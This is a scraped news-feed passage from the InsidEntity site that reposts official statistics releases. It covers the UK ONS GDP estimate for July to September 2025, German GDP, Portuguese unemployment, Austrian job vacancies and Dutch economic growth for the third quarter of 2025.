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<td width="601">In this bulletin, we have opened the dataset outside of our usual <a href="https://www.ons.gov.uk/methodology/methodologytopicsandstatisticalconcepts/revisions/revisionspoliciesforeconomicstatistics/nationalaccountsrevisionspolicyupdateddecember2017">National Accounts Revision Policy</a> to fully update the improvements to precious metals estimates in trade in goods for 2024 and 2025. This means we are now consistent with the data published on 16 October 2025 in the monthly trade. No other components of GDP were affected, but more information on the impacts of this is described later in this section.</td>
</tr>
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<td width="601"><a href="https://www.ons.gov.uk/economy/grossdomesticproductgdp/articles/whygdpfiguresarerevised/2024-02-09">Early estimates of GDP are subject to revision</a> (positive or negative). Our recently published analysis shows that the mean absolute revision between the first quarterly GDP estimate and the same quarterly estimate three years later is, on average, plus or minus 0.28 percentage points. Revisions are made when more detailed information becomes available through the comprehensive annual supply and use balancing process, as the data content increases. For more information, please refer to our <a href="https://www.ons.gov.uk/releases/gdprevisionsinbluebook2025">GDP revisions in the Blue Book: 2025 article</a>.</td>
</tr>
<tr>
<td width="601">The GDP growth vintages from 2024 onwards are shown in Table 5. We give more information on <a href="https://www.ons.gov.uk/methodology/methodologytopicsandstatisticalconcepts/uncertaintyandhowwemeasureit#what-is-uncertainty-">uncertainty</a> in <a href="https://www.ons.gov.uk/economy/grossdomesticproductgdp/bulletins/gdpfirstquarterlyestimateuk/julytoseptember2025#data-sources-and-quality">Section 11: Data sources and quality</a>.</td>
</tr>
<tr>
<td width="601"><u>Trade improvements</u></td>
</tr>
<tr>
<td width="601">As previously announced in our <a href="https://www.ons.gov.uk/economy/nationalaccounts/balanceofpayments/bulletins/uktrade/august2025#revisions">monthly UK trade bulletin</a>, as part of our <a href="https://www.ons.gov.uk/economy/grossdomesticproductgdp/articles/bluebookandpinkbook2025uktradeimpactestimates/2025-08-19">Blue Book and Pink Book 2025: trade impact estimates article</a>, we implemented improvements to the way we record trade in precious metals. We removed the double counting of some precious metals bars and included previously under-recorded non-monetary gold that is not in bar form.</td>
</tr>
<tr>
<td width="601">These trade improvements were implemented as part of our<a href="https://www.ons.gov.uk/releases/gdpquarterlynationalaccountsukapriltojune2025"> GDP quarterly national accounts bulletin</a>, published on 30 September, for all countries from 1997 to 2023. However, because of a processing error for trade data, these improvements were not fully applied to a small number of countries for 2024 and 2025 at the time.</td>
</tr>
<tr>
<td width="601">Corrected estimates were subsequently published in our <a href="https://www.ons.gov.uk/economy/nationalaccounts/balanceofpayments/bulletins/uktrade/august2025">UK Trade: August 2025 bulletin</a> on 16 October 2025. In this GDP bulletin, we opened the dataset outside of our usual <a href="https://www.ons.gov.uk/methodology/methodologytopicsandstatisticalconcepts/revisions/revisionspoliciesforeconomicstatistics/nationalaccountsrevisionspolicyupdateddecember2017">National Accounts Revisions Policy</a> to update data for all countries for 2024 and 2025. We have done this to provide consistency with the trade data published on 16 October 2025.</td>
</tr>
<tr>
<td width="601">The UK trade estimates for our October bulletin incorporated the corrected values for the periods Quarter 1 (Jan to Mar) 2024 to Quarter 2 2025. However, the associated running of the latest seasonal adjustment also incorporated July and August 2025 (the period being reported); this further shaped the current price and the Chained Volume measures seasonally adjusted series slightly, during 2024 and early 2025, as detailed in the next paragraph. The impact was a little larger for chained volume measures. Further detail is provided in our <a href="https://www.ons.gov.uk/releases/uktradeseptember2025">UK Trade: September 2025 bulletin</a>.</td>
</tr>
<tr>
<td width="601">As part of our national accounts balancing process, we use alignment adjustments to reconcile the differences between the income, expenditure, and output measures of GDP every quarter. These are used to account for discrepancies that can arise from timing differences &#8211; for example, when goods are produced in one quarter but are consumed in the next. We processed the trade in goods data in isolation and, as such, the main impacts of these changes are offset in the alignment adjustment, so there is minimal impact to GDP.</td>
</tr>
<tr>
<td width="601">Table 2 shows that there are no changes to headline real GDP quarter-on-quarter growth as a result of this update. However, as the size of the revision in trade in goods differed slightly in current price and chained volume measure estimates, we do see minor 0.1 percentage point revisions to the GDP implied deflator and GDP in current prices. No other components of GDP were affected by this change, including the valuables component.</td>
</tr>
<tr>
<td width="601"><u>3. Output</u></td>
</tr>
<tr>
<td width="601">Output is estimated to have grown by 0.1% in Quarter 3 (July to Sept) 2025, following growth of 0.3% in the previous quarter. Overall, in Quarter 3 2025, 12 out of 20 of the subsectors of GDP increased; the services sector grew by 0.2%, construction output increased by 0.1%, while production fell by 0.5%.</td>
</tr>
<tr>
<td width="601">Our <a href="https://www.ons.gov.uk/releases/gdpmonthlyestimateukseptember2025">GDP monthly estimates bulletin</a>, published on 13 November, shows that GDP fell by 0.1% in September 2025. This followed no growth in August 2025 (revised down from a growth of 0.1% in our previous publication) and an unrevised fall of 0.1% in July 2025.</td>
</tr>
<tr>
<td width="601">Most notably, production fell by 2.0% in September 2025 mainly because of a 28.6% fall in the manufacture of motor vehicles, trailers and semi-trailers. The Society of Motor Manufacturers and Traders reported a large fall in vehicle output in September because <a href="https://www.smmt.co.uk/cyber-attack-hits-vehicle-output-with-new-risk-arising-from-tax-charge-on-auto-workers/">&#8220;a cyber incident paused production at a major manufacturer</a>, while plant restructuring drove down commercial vehicle volumes&#8221;. The Cyber Monitoring Centre categorised this as &#8220;<a href="https://cybermonitoringcentre.com/2025/10/22/cyber-monitoring-centre-statement-on-the-jaguar-land-rovercyber-incident-october-2025/">a Category 3 systemic event</a>&#8220;. These declines in September were partially offset by increases of 0.2% in the services and construction sectors, respectively.</td>
</tr>
<tr>
<td width="601"><u>Services</u></td>
</tr>
<tr>
<td width="601">Services output increased by 0.2% in Quarter 3 2025, following growth of 0.4% in Quarter 2 (Apr to June) 2025. Services output is estimated to be 1.6% higher compared with the same quarter a year ago. Non-consumer-facing services (business-facing services) increased by 0.3% in Quarter 3 2025, while consumer-facing services fell by 0.1%.</td>
</tr>
<tr>
<td width="601">Figure 3 shows that 9 of the 14 service subsectors contributed positively to growth. The largest positive contributor to growth was arts, entertainment and recreation, which increased by 3.5%. Within this subsector, the largest contributor was creative arts and entertainment activities, which grew by 12.5%.</td>
</tr>
<tr>
<td width="601">The second-largest positive contributions were from the real estate activities sub-sector (up 0.3%), and the public administration and defence; compulsory social security sub-sector (up 0.8%).</td>
</tr>
<tr>
<td width="601">The largest negative contributor to growth in Quarter 3 2025 was professional, scientific and technical activities, which fell by 0.6%. Within this sub-sector, there were falls in five of the eight industries.</td>
</tr>
<tr>
<td width="601">More details on services can be found in our <a href="https://www.ons.gov.uk/releases/indexofservicesukseptember2025">Index of Services, UK: September 2025 bulletin</a>.</td>
</tr>
<tr>
<td width="601"><u>Production</u></td>
</tr>
<tr>
<td width="601">The production sector is estimated to have fallen by 0.5% in Quarter 3 2025, following a 0.8% fall in the previous quarter. Production output is 0.9% lower compared with the same quarter a year ago.</td>
</tr>
<tr>
<td width="601">The fall in production in Quarter 3 2025 was mainly because of a decline of 0.8% in manufacturing and 1.5% in mining and quarrying. Elsewhere, there were increases of 0.7% in electricity, gas, steam and air conditioning supply, and a 0.6% increase in water supply; sewerage, waste management and remediation activities.</td>
</tr>
<tr>
<td width="601">Looking at the manufacturing sector in more detail, 5 out of 13 manufacturing subsectors contributed negatively to the fall in the latest quarter (Figure 4). The largest negative contributor to the fall was the manufacture of transport equipment, which declined by 4.5%. This was largely driven by the manufacture of motor vehicles, trailers and semi-trailers (down 10.3%) as outlined earlier in this release.</td>
</tr>
<tr>
<td width="601">Further details on production can be found in our <a href="https://www.ons.gov.uk/releases/indexofproductionukseptember2025">Index of Production, UK: September 2025 bulletin</a>.</td>
</tr>
<tr>
<td width="601"><u>Construction</u></td>
</tr>
<tr>
<td width="601">Construction output is estimated to have increased by 0.1% in Quarter 3 2025, following growth of 1.0% in the previous quarter. Repair and maintenance increased by 0.6%, and new work fell by 0.2% in the latest quarter. Within repair and maintenance (R&amp;M), the largest positive contributor came from private housing R&amp;M, which grew by 2.9%. In new work (NW), the largest negative contributor came from private housing NW, which fell by 1.9%.</td>
</tr>
<tr>
<td width="601">Further details on construction output growth rates can be found in our <a href="https://www.ons.gov.uk/releases/constructionoutputingreatbritainseptember2025newordersandconstructionoutputpriceindicesjulytoseptember2025">Construction output in Great Britain: September 2025, new orders and Construction Output Price Indices, July to September 2025 bulletin.</a></td>
</tr>
<tr>
<td width="601"><u>4. Expenditure</u></td>
</tr>
<tr>
<td width="601">Expenditure is estimated to have grown by 0.1% in Quarter 3 (July to Sept) 2025, which was mainly driven by increases in gross fixed capital formation, household consumption, net trade, and government consumption (Figure 5). These offset a large negative contribution from gross capital formation: other, which reflects lower valuables and inventories compared with Quarter 2 2025.</td>
</tr>
<tr>
<td width="601"><u>Household final consumption expenditure</u></td>
</tr>
<tr>
<td width="601">There was a 0.2% increase in real household final consumption expenditure in Quarter 3 2025, and it is now 0.7% higher compared with the same quarter a year ago. Within household consumption, growth was driven by clothing and footwear, recreation, and culture.</td>
</tr>
<tr>
<td width="601">Net tourism contributed negatively to growth in household consumption in the latest quarter. Net tourism is offset within trade, so there is no impact on the gross domestic product (GDP) aggregate. Information on how we measure net tourism is provided in our <a href="https://www.ons.gov.uk/economy/nationalaccounts/uksectoraccounts/articles/nationalaccountsarticles/treatmentoftourismintheuknationalaccounts">National Accounts articles: Treatment of tourism in the UK National Accounts</a>. Excluding net tourism, domestic consumption grew by 0.2% in the latest quarter.</td>
</tr>
<tr>
<td width="601"><u>Consumption of government goods and services</u></td>
</tr>
<tr>
<td width="601">Real government consumption expenditure grew by 0.3% in Quarter 3 2025 and is 1.9% higher compared with the same quarter a year ago. The growth in government consumption in the latest quarter mainly reflects increases in education and social care.</td>
</tr>
<tr>
<td width="601"><u>Gross capital formation</u></td>
</tr>
<tr>
<td width="601">Within gross capital formation, gross fixed capital formation (GFCF) grew by 1.8% in Quarter 3 2025, and is now 3.8% higher compared with the same quarter a year ago. The increase in the latest quarter was mainly driven by ICT equipment, other machinery and equipment, dwellings, and intellectual property products.</td>
</tr>
<tr>
<td width="601">Within GFCF, business investment is estimated to have fallen by 0.3% in Quarter 3 2025 and is now 0.7% higher, compared with the same quarter a year ago.</td>
</tr>
<tr>
<td width="601">Excluding the alignment adjustments, early estimates show that chained volume inventories fell by £657 million in Quarter 3 2025</td>
</tr>
<tr>
<td width="601"><u>Net trade</u></td>
</tr>
<tr>
<td width="601">The UK&#8217;s trade deficit for goods and services is now estimated at 0.6% of nominal GDP in Quarter 3 2025. However, this includes <a href="https://www.ons.gov.uk/economy/nationalaccounts/uksectoraccounts/articles/nationalaccountsarticles/abriefexplanationofnonmonetarygoldinnationalaccounts">non-monetary gold</a> and other precious metals, which are an erratic series. It can be useful to exclude this from the trade balance.</td>
</tr>
<tr>
<td width="601">Excluding non-monetary gold and other precious metals, the trade deficit is now estimated at 0.7% of nominal GDP in Quarter 3 2025</td>
</tr>
<tr>
<td width="601"><u>5. Income</u></td>
</tr>
<tr>
<td width="601">Nominal gross domestic product (GDP) grew by 1.2% in Quarter 3 (July to Sept) 2025 and is up by 5.1%, compared with the same quarter a year ago. Growth in nominal GDP was mainly driven by increases in compensation of employees.</td>
</tr>
<tr>
<td width="601"><u>Compensation of employees</u></td>
</tr>
<tr>
<td width="601">Compensation of employees increased by 1.5% in the latest quarter and is up 8.3%, compared with the same quarter a year ago. Growth was driven by increases of 4.6% in employers&#8217; social contributions (mainly in National Insurance contributions) and 0.8% in wages and salaries.</td>
</tr>
<tr>
<td width="601">Early estimates of private sector wages and salaries are based on estimates of the number of employees in the economy, from our Labour Force Survey (LFS), and average earnings from our average weekly earnings statistics. However, there is some additional <a href="https://www.ons.gov.uk/methodology/methodologytopicsandstatisticalconcepts/uncertaintyandhowwemeasureit#what-is-uncertainty-">uncertainty</a> around the employee estimates used to derive our figures of wages and salaries, because of low response rates in the LFS. We have therefore used additional information from our <a href="https://www.ons.gov.uk/employmentandlabourmarket/peopleinwork/earningsandworkinghours/bulletins/earningsandemploymentfrompayasyouearnrealtimeinformationuk/latest">Earnings and Employment from Pay As You Earn Real Time Information UK bulletin</a> to help improve the accuracy of the income measure of GDP.</td>
</tr>
<tr>
<td width="601"><u>Other income</u></td>
</tr>
<tr>
<td width="601">Other income is now estimated to have increased by 1.9% in the latest quarter and is 4.6% higher, compared with the same quarter a year ago.</td>
</tr>
<tr>
<td width="601">This was driven by increases in both mixed income (mainly self-employment) and other gross operating surplus.</td>
</tr>
<tr>
<td width="601"><u>Taxes less subsidies</u></td>
</tr>
<tr>
<td width="601">Taxes less subsidies are estimated to have increased by 1.0% in Quarter 3 2025, this follows a fall of 1.2% in the previous quarter.</td>
</tr>
<tr>
<td width="601">There was a 0.7% increase in taxes (with growth in Stamp duty, Air passenger duty and Wine and Spirits), and a 1.6% fall in subsidies (mainly in Housing Equity Injection), which contribute positively to GDP.</td>
</tr>
<tr>
<td width="601"><u>Gross operating surplus</u></td>
</tr>
<tr>
<td width="601">Total gross operating surplus (GOS) of corporations, excluding the alignment adjustment, fell by 0.7% in Quarter 3 2025 (Table 4). This is mainly because of a fall in private non-financial corporations.</td>
</tr>
<tr>
<td width="601">There is uncertainty around estimates of non-financial corporations within the GOS of corporations. This is because we do not have up-to-date quarterly information on the gross trading profits of businesses. These data are collected from HM Revenue and Customs (HMRC) and are available with a lag of approximately two years. We rely on contextual data from other sources to inform these quarterly estimates, as outlined in our <a href="https://www.ons.gov.uk/economy/nationalaccounts/uksectoraccounts/methodologies/profitabilityofukcompaniesqmi#methods-used-to-produce-the-profitability-data">Profitability of UK companies quality and methodology information (QMI)</a>.</td>
</tr>
<tr>
<td width="601"><u>6. Real GDP per head</u></td>
</tr>
<tr>
<td width="601">We produce estimates of gross domestic product (GDP) per head (or per capita), which divides UK GDP by the total UK population. This is one proxy indicator of welfare, rather than production, which reflects a country&#8217;s living standards. It captures the volume of goods and services available to the average person. Further information on this is available in our <a href="https://www.ons.gov.uk/economy/grossdomesticproductgdp/articles/trendsinukrealgdpperhead/2022to2024">Trends in UK real GDP per head: 2022 to 2024 article</a>.</td>
</tr>
<tr>
<td width="601">Real GDP per head is estimated to have shown no growth in the latest quarter, following six consecutive quarters of positive growth (Figure 8); but it is up 0.8%, compared with the same quarter a year ago. There have been some small revisions to GDP per head figures across 2024 and 2025, reflecting revisions to GDP as discussed at the start of the release.</td>
</tr>
<tr>
<td width="601">Population figures for up to mid-2024 are based on <a href="https://www.ons.gov.uk/releases/populationestimatesfortheukenglandwalesscotlandandnorthernirelandmid2024">mid-year UK population estimates</a> published on 26 September 2025. Figures for Quarter 3 (July to Sept) 2024 to Quarter 1 (Jan to Mar) 2025 are based on an interpolation between UK 2022-based population projections for mid-2025 (as published on 28 January 2025), using the migration category variant and the mid-2024 UK population estimate. Figures for Quarter 2 (Apr to June) 2025 onwards are based entirely on UK 2022-based population projections.</td>
</tr>
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<td width="601">For the full document, click the link below</td>
</tr>
<tr>
<td width="601"><a href="https://www.ons.gov.uk/economy/grossdomesticproductgdp/bulletins/gdpfirstquarterlyestimateuk/julytoseptember2025"><strong><em>Office for National Statistics</em></strong></a></td>
</tr>
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<td width="601"><em>Stay ahead of the curve! Subscribe to </em><a href="https://www.insidentity.com/subscriber-fee/"><strong><em>InsidEntity</em></strong></a><em> for daily updates on all your favourite companies. </em></td>
</tr>
</tbody>
</table>

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			</div><!-- wpw-fp-follow-post-wrapper --><p>The post <a href="https://ie3.euptest.org/united-kingdom-gdp-first-quarterly-estimate-uk-july-to-september-2025/">United Kingdom: GDP First Quarterly Estimate, UK: July to September 2025</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
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		<title>Germany: Gross Domestic Product Stagnates in the 3rd Quarter of 2025</title>
		<link>https://ie3.euptest.org/germany-gross-domestic-product-stagnates-in-the-3rd-quarter-of-2025/</link>
		
		<dc:creator><![CDATA[Monique Nell]]></dc:creator>
		<pubDate>Mon, 10 Nov 2025 10:10:51 +0000</pubDate>
				<category><![CDATA[Countries]]></category>
		<guid isPermaLink="false">https://www.insidentity.com/?p=145372</guid>

					<description><![CDATA[<p>Imagery Source: Wikimedia Commons / dronepicr Information Source: Statistisches Bundesamt Gross Domestic Product (GDP), 3rd quarter 2025: 0.0% compared to the previous quarter (price, seasonally and calendar adjusted) ; +0.3% compared to the same quarter of the previous year (price adjusted); +0.3% compared to the same quarter of the previous year (price and calendar adjusted) Gross domestic product (GDP) remained unchanged in the third quarter of 2025 compared to the second quarter of 2025 (0.0%), after adjusting for price, seasonal, and calendar effects, following a decline in the previous quarter (revised -0.2% in the second quarter of 2025 compared to the previous quarter; previously: -0.3%). According to preliminary data, investment in equipment developed positively in the third quarter of 2025. Exports, however, decreased compared to the previous quarter, as further reported by the Federal Statistical Office (Destatis). Gross domestic product increased compared to the previous year. In comparison to the previous year, GDP in the third quarter of 2025 was 0.3% higher in real terms than in the third quarter of 2024. Adjusted for price and calendar effects, it was also 0.3% higher. Revision of previous results In addition to the initial calculation for the third quarter of 2025, the Federal Statistical Office, as usual, has also revised the previously published results for the preceding quarters and incorporated newly available statistical information into the calculations for the first and second quarters of 2025. The rate of change in price-adjusted GDP for the second quarter of 2025 was revised upwards by 0.1 percentage points. Detailed information on the recalculations can be found in the &#8220;Old-New Comparison&#8221; table at the end of this press release. Methodological notes: In all reports on economic indicators, the different comparison periods must be taken into account. The focus of economic monitoring is the comparison of seasonally and calendar-adjusted values ​​with the previous month/quarter. This allows for an assessment of short-term economic trends. Year-on-year comparisons serve as a longer-term benchmark and are largely independent of seasonal fluctuations. For the full document, click the link below Statistisches Bundesamt Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.</p>
<p>The post <a href="https://ie3.euptest.org/germany-gross-domestic-product-stagnates-in-the-3rd-quarter-of-2025/">Germany: Gross Domestic Product Stagnates in the 3rd Quarter of 2025</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
]]></description>
										<content:encoded><![CDATA[<table>
<tbody>
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<td width="601">Imagery Source<em>: </em><a href="https://commons.wikimedia.org/wiki/Category:Germany#/media/File:Aerial_view_of_Berlin_(32881394137).jpg"><strong><em>Wikimedia Commons / dronepicr</em></strong></a></td>
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<td width="601">Information Source: <a href="https://www.destatis.de/DE/Presse/Pressemitteilungen/2025/10/PD25_388_811.html"><strong><em>Statistisches Bundesamt</em></strong></a></td>
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<tr>
<td width="601"><strong>Gross Domestic Product (GDP), 3rd quarter 2025:</strong><br />
0.0% compared to the previous quarter (price, seasonally and calendar adjusted)<br />
; +0.3% compared to the same quarter of the previous year (price adjusted);<br />
+0.3% compared to the same quarter of the previous year (price and calendar adjusted)</td>
</tr>
<tr>
<td width="601">Gross domestic product (GDP) remained unchanged in the third quarter of 2025 compared to the second quarter of 2025 (0.0%), after adjusting for price, seasonal, and calendar effects, following a decline in the previous quarter (revised -0.2% in the second quarter of 2025 compared to the previous quarter; previously: -0.3%). According to preliminary data, investment in equipment developed positively in the third quarter of 2025. Exports, however, decreased compared to the previous quarter, as further reported by the Federal Statistical Office (Destatis).</td>
</tr>
<tr>
<td width="601"><strong>Gross domestic product increased compared to the previous year.</strong></td>
</tr>
<tr>
<td width="601">In comparison to the previous year, GDP in the third quarter of 2025 was 0.3% higher in real terms than in the third quarter of 2024. Adjusted for price and calendar effects, it was also 0.3% higher.</td>
</tr>
<tr>
<td width="601"><strong>Revision of previous results</strong></td>
</tr>
<tr>
<td width="601">In addition to the initial calculation for the third quarter of 2025, the Federal Statistical Office, as usual, has also revised the previously published results for the preceding quarters and incorporated newly available statistical information into the calculations for the first and second quarters of 2025. The rate of change in price-adjusted GDP for the second quarter of 2025 was revised upwards by 0.1 percentage points. Detailed information on the recalculations can be found in the &#8220;Old-New Comparison&#8221; table at the end of this press release.</td>
</tr>
<tr>
<td width="601"><strong>Methodological notes:</strong></td>
</tr>
<tr>
<td width="601">In all reports on economic indicators, the different comparison periods must be taken into account. The focus of economic monitoring is the comparison of seasonally and calendar-adjusted values ​​with the previous month/quarter. This allows for an assessment of short-term economic trends. Year-on-year comparisons serve as a longer-term benchmark and are largely independent of seasonal fluctuations.</td>
</tr>
<tr>
<td width="601"><em>For the full document, click the link below</em></td>
</tr>
<tr>
<td width="601"><a href="https://www.destatis.de/DE/Presse/Pressemitteilungen/2025/10/PD25_388_811.html"><strong><em>Statistisches Bundesamt</em></strong></a></td>
</tr>
<tr>
<td width="601"><em>Stay ahead of the curve! Subscribe to </em><a href="https://www.insidentity.com/subscriber-fee/"><strong><em>InsidEntity</em></strong></a><em> for daily updates on all your favourite companies. </em></td>
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</table>

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		<title>Portugal: The unemployment rate stood at 5.8% &#8211; 3rd Quarter 2025</title>
		<link>https://ie3.euptest.org/portugal-the-unemployment-rate-stood-at-5-8-3rd-quarter-2025/</link>
		
		<dc:creator><![CDATA[Monique Nell]]></dc:creator>
		<pubDate>Mon, 10 Nov 2025 09:30:31 +0000</pubDate>
				<category><![CDATA[Countries]]></category>
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					<description><![CDATA[<p>Imagery Source: Pexels Information Source: Statistics: Portugal Summary In the 3rd quarter of 2025, the employed population (5,332.1 thousand people) increased by 1.6% (83.8 thousand) from the previous quarter and by 3.7% (191.2 thousand) from one year before. The share of the employed population who have teleworked, that is, who have worked from home using information and communication technologies, was 19.4% (1,036.4 thousand people), 1.5 percentage points (pp) less than in the 2nd quarter of 2025 and 0.2 pp more than in the 3rd quarter of 2024. The unemployed population, estimated at 326.6 thousand people, has decreased by 0.9% (2.9 thousand) from the previous quarter and by 2.4% (8.1 thousand) from a year earlier. The unemployment rate stood at 5.8%, down 0.1 pp from the previous quarter and down 0.3 pp from the 3rd quarter of 2024. The labour underutilisation covered 573.9 thousand people, a value practically identical to the previous quarter and lower by 2.0% (11.5 thousand) from a year before. The labour underutilisation rate (9.9%) was down in the quarterly (0.2 pp) and in the year-on-year (0.5 pp) comparison. The inactive population aged 16 and over (3,703.6 thousand) has decreased by 1.3% (49.4 thousand) from the previous quarter and by 1.1% (39.5 thousand) in the year-on-year comparison. For the full document, click the link below Statistics: Portugal Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.</p>
<p>The post <a href="https://ie3.euptest.org/portugal-the-unemployment-rate-stood-at-5-8-3rd-quarter-2025/">Portugal: The unemployment rate stood at 5.8% &#8211; 3rd Quarter 2025</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
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<td width="601">Imagery Source<em>: </em><a href="https://www.pexels.com/photo/early-morning-view-from-the-douro-river-and-porto-portugal-17847439/"><strong><em>Pexels</em></strong></a></td>
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<td width="601">Information Source: <a href="https://www.ine.pt/xportal/xmain?xpid=INE&amp;xpgid=ine_destaques&amp;DESTAQUESdest_boui=706837035&amp;DESTAQUESmodo=2"><strong><em>Statistics: Portugal</em></strong></a></td>
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<td width="601"><strong>Summary</strong><br />
In the 3<sup>rd</sup> quarter of 2025, the employed population (5,332.1 thousand people) increased by 1.6% (83.8 thousand) from the previous quarter and by 3.7% (191.2 thousand) from one year before.</td>
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<td width="601">The share of the employed population who have teleworked, that is, who have worked from home using information and communication technologies, was 19.4% (1,036.4 thousand people), 1.5 percentage points (pp) less than in the 2<sup>nd</sup> quarter of 2025 and 0.2 pp more than in the 3<sup>rd</sup> quarter of 2024.</td>
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<td width="601">The unemployed population, estimated at 326.6 thousand people, has decreased by 0.9% (2.9 thousand) from the previous quarter and by 2.4% (8.1 thousand) from a year earlier.</td>
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<td width="601">The unemployment rate stood at 5.8%, down 0.1 pp from the previous quarter and down 0.3 pp from the 3<sup>rd</sup> quarter of 2024.</td>
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<td width="601">The labour underutilisation covered 573.9 thousand people, a value practically identical to the previous quarter and lower by 2.0% (11.5 thousand) from a year before. The labour underutilisation rate (9.9%) was down in the quarterly (0.2 pp) and in the year-on-year (0.5 pp) comparison.</td>
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<td width="601">The inactive population aged 16 and over (3,703.6 thousand) has decreased by 1.3% (49.4 thousand) from the previous quarter and by 1.1% (39.5 thousand) in the year-on-year comparison.</td>
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<td width="601"><em>For the full document, click the link below</em></td>
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<td width="601"><a href="https://www.ine.pt/xportal/xmain?xpid=INE&amp;xpgid=ine_destaques&amp;DESTAQUESdest_boui=706837035&amp;DESTAQUESmodo=2"><strong><em>Statistics: Portugal</em></strong></a></td>
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<td width="601"><em>Stay ahead of the curve! Subscribe to </em><a href="https://www.insidentity.com/subscriber-fee/"><strong><em>InsidEntity</em></strong></a><em> for daily updates on all your favourite companies. </em></td>
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			</div><!-- wpw-fp-follow-post-wrapper --><p>The post <a href="https://ie3.euptest.org/portugal-the-unemployment-rate-stood-at-5-8-3rd-quarter-2025/">Portugal: The unemployment rate stood at 5.8% &#8211; 3rd Quarter 2025</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
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		<title>Austria: Enterprises Reported 138 100 Vacant Positions in the Third Quarter of 2025, as Statistics Austria Reports. Compared to the Previous Quarter, this Represents a Decline of About 6.6%</title>
		<link>https://ie3.euptest.org/austria-enterprises-reported-138-100-vacant-positions-in-the-third-quarter-of-2025-as-statistics-austria-reports-compared-to-the-previous-quarter-this-represents-a-decline-of-about-6-6/</link>
		
		<dc:creator><![CDATA[Monique Nell]]></dc:creator>
		<pubDate>Thu, 06 Nov 2025 10:14:33 +0000</pubDate>
				<category><![CDATA[Countries]]></category>
		<guid isPermaLink="false">https://www.insidentity.com/?p=145126</guid>

					<description><![CDATA[<p>Imagery Source: Britannica Information Source: Statistics: Austria “The downward trend on the Austrian job market has now continued for six quarters. In the third quarter of 2025, Austrian enterprises advertised 138,100 jobs — 6.6% fewer than in the previous quarter. Most job offers were in the retail and services sectors,” says Manuela Lenk, Director General of Statistics at Statistics Austria. In comparison to the third quarter of 2024, when 167,800 vacancies were recorded, the decline amounts to 17.7%. The job vacancy rate, i.e. the proportion of vacancies in relation to all available jobs, also continued to decline. In the third quarter of 2025, it stood at 3.2%, a decrease of 0.2 percentage points compared to the previous quarter (3.4%). Compared to the third quarter of 2024, the rate dropped by 0.6 percentage points. 83.2% of all vacancies were advertised as full-time positions. 32,700 vacancies in the manufacturing sector, 82,900 vacancies in the retail and services sector and 22,500 vacancies in the public and social sector were reported in the third quarter of 2025. For detailed results and further information on job vacancies, please refer to our website. For the full document, click the link below Statistics: Austria Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.</p>
<p>The post <a href="https://ie3.euptest.org/austria-enterprises-reported-138-100-vacant-positions-in-the-third-quarter-of-2025-as-statistics-austria-reports-compared-to-the-previous-quarter-this-represents-a-decline-of-about-6-6/">Austria: Enterprises Reported 138 100 Vacant Positions in the Third Quarter of 2025, as Statistics Austria Reports. Compared to the Previous Quarter, this Represents a Decline of About 6.6%</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
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<td width="601">Imagery Source: <a href="https://www.britannica.com/place/Austria"><strong><em>Britannica</em></strong></a></td>
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<td width="601">Information Source<em>: </em><a href="https://www.statistik.at/fileadmin/announcement/2025/11/20251105OffeneStellen2025Q3EN.pdf"><strong><em>Statistics: Austria</em></strong></a></td>
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<td width="601">“The downward trend on the Austrian job market has now continued for six quarters. In the third quarter of 2025, Austrian enterprises advertised 138,100 jobs — 6.6% fewer than in the previous quarter. Most job offers were in the retail and services sectors,” says Manuela Lenk, Director General of Statistics at Statistics Austria.</td>
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<td width="601">In comparison to the third quarter of 2024, when 167,800 vacancies were recorded, the decline amounts to 17.7%. The job vacancy rate, i.e. the proportion of vacancies in relation to all available jobs, also continued to decline. In the third quarter of 2025, it stood at 3.2%, a decrease of 0.2 percentage points compared to the previous quarter (3.4%). Compared to the third quarter of 2024, the rate dropped by 0.6 percentage points. 83.2% of all vacancies were advertised as full-time positions.</td>
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<td width="601">32,700 vacancies in the manufacturing sector, 82,900 vacancies in the retail and services sector and 22,500 vacancies in the public and social sector were reported in the third quarter of 2025.</td>
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<td width="601">For detailed results and further information on job vacancies, please refer to our website.</td>
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<td width="601"><em>For the full document, click the link below</em></td>
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<td width="601"><a href="https://www.statistik.at/fileadmin/announcement/2025/11/20251105OffeneStellen2025Q3EN.pdf"><strong><em>Statistics: Austria</em></strong></a></td>
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<td width="601"><em>Stay ahead of the curve! Subscribe to </em><a href="https://www.insidentity.com/subscriber-fee/"><strong><em>InsidEntity</em></strong></a><em> for daily updates on all your favourite companies. </em></td>
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	<div class="wpw-fp-follow-post-wrapper wpw-fp-follow-btn-wrapper">
			</div><!-- wpw-fp-follow-post-wrapper --><p>The post <a href="https://ie3.euptest.org/austria-enterprises-reported-138-100-vacant-positions-in-the-third-quarter-of-2025-as-statistics-austria-reports-compared-to-the-previous-quarter-this-represents-a-decline-of-about-6-6/">Austria: Enterprises Reported 138 100 Vacant Positions in the Third Quarter of 2025, as Statistics Austria Reports. Compared to the Previous Quarter, this Represents a Decline of About 6.6%</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
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		<title>Netherlands: Economic Growth</title>
		<link>https://ie3.euptest.org/netherlands-economic-growth/</link>
		
		<dc:creator><![CDATA[Monique Nell]]></dc:creator>
		<pubDate>Thu, 06 Nov 2025 09:43:40 +0000</pubDate>
				<category><![CDATA[Countries]]></category>
		<guid isPermaLink="false">https://www.insidentity.com/?p=145103</guid>

					<description><![CDATA[<p>Imagery Source: rawpixel Information Source: Statistics: Netherlands Gross domestic product (GDP) is a measure of the size of the economy. The change in GDP volume over a given reporting period is the measure of economic growth (or contraction). Volume changes are changes in value adjusted for price changes. According to the latest calculation by Statistics Netherlands (CBS), gross domestic product (GDP) will be 0.4 per cent higher in the third quarter of 2025 than in the previous quarter. For the full document, click the link below Statistics: Netherlands Stay ahead of the curve! Subscribe to InsidEntity for daily updates on all your favourite companies.</p>
<p>The post <a href="https://ie3.euptest.org/netherlands-economic-growth/">Netherlands: Economic Growth</a> appeared first on <a href="https://ie3.euptest.org">InsidEntity</a>.</p>
